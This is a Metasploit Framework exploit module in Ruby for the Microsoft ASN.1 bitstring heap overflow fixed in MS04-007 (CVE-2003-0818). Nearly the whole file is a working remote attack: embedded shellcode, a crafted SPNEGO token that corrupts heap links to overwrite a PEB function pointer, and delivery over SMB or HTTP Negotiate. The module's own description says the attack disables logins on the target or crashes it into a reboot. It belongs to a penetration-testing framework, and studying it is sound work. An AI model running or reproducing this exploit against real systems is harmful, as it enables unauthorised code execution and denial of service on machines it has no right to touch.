##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::SMB

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'Microsoft ASN.1 Library Bitstring Heap Overflow',
      'Description'    => %q{
        This is an exploit for a previously undisclosed
        vulnerability in the bit string decoding code in the
        Microsoft ASN.1 library. This vulnerability is not related
        to the bit string vulnerability described in eEye advisory
        AD20040210-2. Both vulnerabilities were fixed in the
        MS04-007 patch.

        You are only allowed one attempt with this vulnerability. If
        the payload fails to execute, the LSASS system service will
        crash and the target system will automatically reboot itself
        in 60 seconds. If the payload succeeeds, the system will no
        longer be able to process authentication requests, denying
        all attempts to login through SMB or at the console. A
        reboot is required to restore proper functioning of an
        exploited system.
        
        This exploit has been successfully tested with the win32/*/reverse_tcp
        payloads, however a few problems were encounted when using the
        equivalent bind payloads. Your mileage may vary.
          
      },
      'Author'         => [ 'Solar Eclipse <solareclipse@phreedom.org>' ],
      'License'        => GPL_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          [ 'CVE', '2003-0818'],
          [ 'OSVDB', '3902' ],
          [ 'BID', '9633'],
          [ 'URL', 'http://www.phreedom.org/solar/exploits/msasn1-bitstring/'],
          [ 'MSB', 'MS04-007'],

        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },        
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 1024,
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        => 
        [
          [ 
            'Windows 2000 SP2-SP4 + Windows XP SP0-SP1', # Tested OK - 11/25/2005 hdm (bind failed)
            {
              'Platform' => 'win',
            },
          ],
        ],
      'DisclosureDate' => 'Feb 10 2004',
      'DefaultTarget' => 0))
      
    register_options(
      [
        OptString.new('PROTO', [ true,  "Which protocol to use: http or smb", 'smb']),
      ], self.class)      
  end

  # This exploit is too destructive to use during automated exploitation.
  # Better Windows-based exploits exist at this time (Sep 2006)
  def autofilter
    false
  end

  # This is a straight port of Solar Eclipse's "kill-bill" exploit, published
  # as a Metasploit Framework module with his permission. This module is only
  # licensed under GPLv2, keep this in mind if you embed the Framework into
  # a non-GPL application. -hdm[at]metasploit.com

  def exploit
  
    # The first stage shellcode fixes the PEB pointer and cleans the heap
    stage0 = 
      "\x53\x56\x57\x66\x81\xec\x80\x00\x89\xe6\xe8\xed\x00\x00\x00\xff"+
      "\x36\x68\x09\x12\xd6\x63\xe8\xf7\x00\x00\x00\x89\x46\x08\xe8\xa2"+
      "\x00\x00\x00\xff\x76\x04\x68\x6b\xd0\x2b\xca\xe8\xe2\x00\x00\x00"+
      "\x89\x46\x0c\xe8\x3f\x00\x00\x00\xff\x76\x04\x68\xfa\x97\x02\x4c"+
      "\xe8\xcd\x00\x00\x00\x31\xdb\x68\x10\x04\x00\x00\x53\xff\xd0\x89"+
      "\xc3\x56\x8b\x76\x10\x89\xc7\xb9\x10\x04\x00\x00\xf3\xa4\x5e\x31"+
      "\xc0\x50\x50\x50\x53\x50\x50\xff\x56\x0c\x8b\x46\x08\x66\x81\xc4"+
      "\x80\x00\x5f\x5e\x5b\xff\xe0\x60\xe8\x23\x00\x00\x00\x8b\x44\x24"+
      "\x0c\x8d\x58\x7c\x83\x43\x3c\x05\x81\x43\x28\x00\x10\x00\x00\x81"+
      "\x63\x28\x00\xf0\xff\xff\x8b\x04\x24\x83\xc4\x14\x50\x31\xc0\xc3"+
      "\x31\xd2\x64\xff\x32\x64\x89\x22\x31\xdb\xb8\x90\x42\x90\x42\x31"+
      "\xc9\xb1\x02\x89\xdf\xf3\xaf\x74\x03\x43\xeb\xf3\x89\x7e\x10\x64"+
      "\x8f\x02\x58\x61\xc3\x60\xbf\x20\xf0\xfd\x7f\x8b\x1f\x8b\x46\x08"+
      "\x89\x07\x8b\x7f\xf8\x81\xc7\x78\x01\x00\x00\x89\xf9\x39\x19\x74"+
      "\x04\x8b\x09\xeb\xf8\x89\xfa\x39\x5a\x04\x74\x05\x8b\x52\x04\xeb"+
      "\xf6\x89\x11\x89\x4a\x04\xc6\x43\xfd\x01\x61\xc3\xa1\x0c\xf0\xfd"+
      "\x7f\x8b\x40\x1c\x8b\x58\x08\x89\x1e\x8b\x00\x8b\x40\x08\x89\x46"+
      "\x04\xc3\x60\x8b\x6c\x24\x28\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea"+
      "\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x38\x49\x8b\x34\x8b\x01\xee"+
      "\x31\xff\x31\xc0\xfc\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb"+
      "\xf4\x3b\x7c\x24\x24\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b"+
      "\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc2"+
      "\x08\x00\xeb\xfe"

    token = spnego_token(stage0, payload.encoded)
    
    case datastore['PROTO']
      when 'smb'
        exploit_smb(token)
      when 'http'
        exploit_http(token)
      else
        print_status("Invalid application protocol specified, use smb or http")
    end
  end
  
  
  def exploit_smb(token)
    connect
    
    client = Rex::Proto::SMB::Client.new(sock)

    begin
      client.session_request(smb_hostname()) if not datastore['SMBDirect']
      client.negotiate
      client.session_setup_ntlmv2_blob(token)
    rescue => e
      if (e.to_s =~ /error code 0x00050001/)
        print_status("The target system has already been exploited")
      else
        print_status("Error: #{e}")
      end
    end
    
    handler
    disconnect
  end
  
  def exploit_http(token)
    connect
    
    req = "GET / HTTP/1.0\r\n"
    req << "Host: #{ datastore['RHOST']}\r\n"
    req << "Authorization: Negotiate #{Rex::Text.encode_base64(token, '')}\r\n\r\n"

    sock.put(req)
    res = sock.get_once
    
    if (res and res =~ /0x80090301/)
      print_status("This server does not support the Negotiate protocol or has already been exploited")
    end
    
    if (res and res =~ /0x80090304/)
      print_status("This server responded with error code 0x80090304 (wth?)")
    end    
    
    handler
    disconnect
  end
  

  # Returns an ASN.1 encoded string
  def enc_asn1(str)
    Rex::Proto::SMB::Utils::asn1encode(str)
  end

  # Returns an ASN.1 encoded bit string with 0 unused bits
  def enc_bits(str)
    "\x03" + enc_asn1("\x00" + str)
  end

  # Returns a BER encoded constructed bit string
  def enc_constr(*str_arr)
    "\x23" + enc_asn1(str_arr.join(''))
  end

  # Returns a BER encoded SPNEGO token
  def spnego_token(stage0, stage1)
    
    if !(stage0 and stage1)
      print_status("Invalid parameters passed to spnego_token")
      return
    end
    
    if (stage0.length > 1032)
      print_status("The stage 0 shellcode is longer than 1032 bytes")
      return
    end
    
    tag = "\x90\x42\x90\x42\x90\x42\x90\x42"
    
    if ((tag.length + stage1.length) > 1033)
      print_status("The stage 1 shellcode is too long")
      return
    end
    
    
    # The first two overwrites must succeed, so we write to an unused location
    # in the PEB block. We don't care about the values, because after this the
    # doubly linked list of free blocks is corrupted and we get to the second
    # overwrite which is more useful.

    fw = "\xf8\x0f\x01\x00"    # 0x00010ff8
    bk = "\xf8\x0f\x01"
        
    # The second overwrite writes the address of our shellcode into the
    # FastPebLockRoutine pointer in the PEB

    peblock = "\x20\xf0\xfd\x7f" # FastPebLockRoutine in PEB
      
    bitstring = enc_constr( 
      enc_bits("A" * 1024),
      "\x03\x00",
      enc_constr(
        enc_bits(tag + stage1 + ("B" * (1033-(tag+stage1).length))),
        enc_constr( enc_bits(fw + bk) ),
        enc_constr(
          enc_bits("CCCC" + peblock + stage0 + ("C" * (1032-stage0.length))),
          enc_constr(
            enc_bits("\xeb\x06" + make_nops(6)),
            enc_bits("D" * 1040)
          )
        )
      )
    )
    
    token = "\x60" + enc_asn1(                 # Application Constructed Object
      "\x06\x06\x2b\x06\x01\x05\x05\x02" +   # SPNEGO OID
      "\xa0" + enc_asn1(             # NegTokenInit (0xa0)
        "\x30" + enc_asn1(
          "\xa1" + enc_asn1(
            bitstring
          )
        )
      )
    )
    
    return token  
  end

end